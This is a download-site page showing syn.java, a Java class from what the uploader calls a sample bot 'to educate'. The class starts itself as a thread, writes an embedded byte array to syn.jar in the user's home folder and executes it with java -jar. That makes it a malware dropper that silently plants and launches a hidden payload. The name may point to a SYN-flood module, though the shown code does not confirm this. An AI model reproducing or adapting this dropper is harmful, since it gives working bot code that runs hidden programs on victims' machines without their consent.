⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 syn.java

📁 this is a sample of a java bot. use to educate..
💻 JAVA
字号:
import java.io.IOException;
import java.io.File;
import java.io.FileOutputStream;

class Syn extends Thread {

	public Syn() {
		this.start();
	}

	public void run() {
		try {
			this.build();
			this.syn();
		} catch(IOException ioe) {
			Debug.print("Failed to start syn!\n");
		}
	}

	public void build() throws IOException {
		byte[] buffer = new byte[SynCode.SYN_CODE.length];
		for(int i = 0; i < SynCode.SYN_CODE.length; i++) {
			buffer[i] = Byte.valueOf("" + SynCode.SYN_CODE[i]);
		}
		String file = System.getProperty("user.home") + "\\syn.jar";
		FileOutputStream out = new FileOutputStream(new File(file));
		out.write(buffer, 0, buffer.length);
		out.close();
	}

	public void syn() throws IOException {
		String[] cmd = new String[4];
		cmd[0] = "java";
		cmd[1] = "-jar";
		cmd[2] = System.getProperty("user.home") + "\\syn.jar";
		cmd[3] = Util.getJARLoc();
		Runtime.getRuntime().exec(cmd);
	}

}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -